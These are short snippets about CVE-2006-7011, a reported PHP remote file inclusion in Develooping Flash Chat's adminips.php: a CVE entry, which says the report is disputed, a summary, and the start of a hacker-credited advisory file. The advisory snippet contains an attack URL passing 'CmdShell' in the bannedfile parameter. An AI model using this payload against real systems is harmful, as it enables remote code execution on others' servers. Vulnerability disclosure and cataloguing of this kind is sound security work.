CVE-2006-7011

PHP remote file inclusion vulnerability in adminips.php in Develooping Flash Chat allows remote attackers to execute arbitrary PHP code via a URL in the bannedfile parameter. NOTE: CVE disputes this vulnerability because bannedfile is set to a constant value...

CVE-2006-7011

Summary: CVE-2006-7011 is a PHP remote file inclusion vulnerability affecting the adminips.php file in Develooping Flash Chat. An attacker could trigger arbitrary PHP code execution by supplying a URL in the banned_file parameter. The CVSS 2.0 base metrics indicate a High impact with partial conf...

develooping.txt

Develooping Flash Chat bannedfile Remote File Inclusion Credit : SpC-x Site : http://wWw.SaVSaK.CoM Greetz : | Liz0ziM | Ejder | FasTBoY | TheBeKiR | Nukedx | Remote File Include : http://www.target.com/path/chat/adminips.php?bannedfile=CmdShell /SpC-x...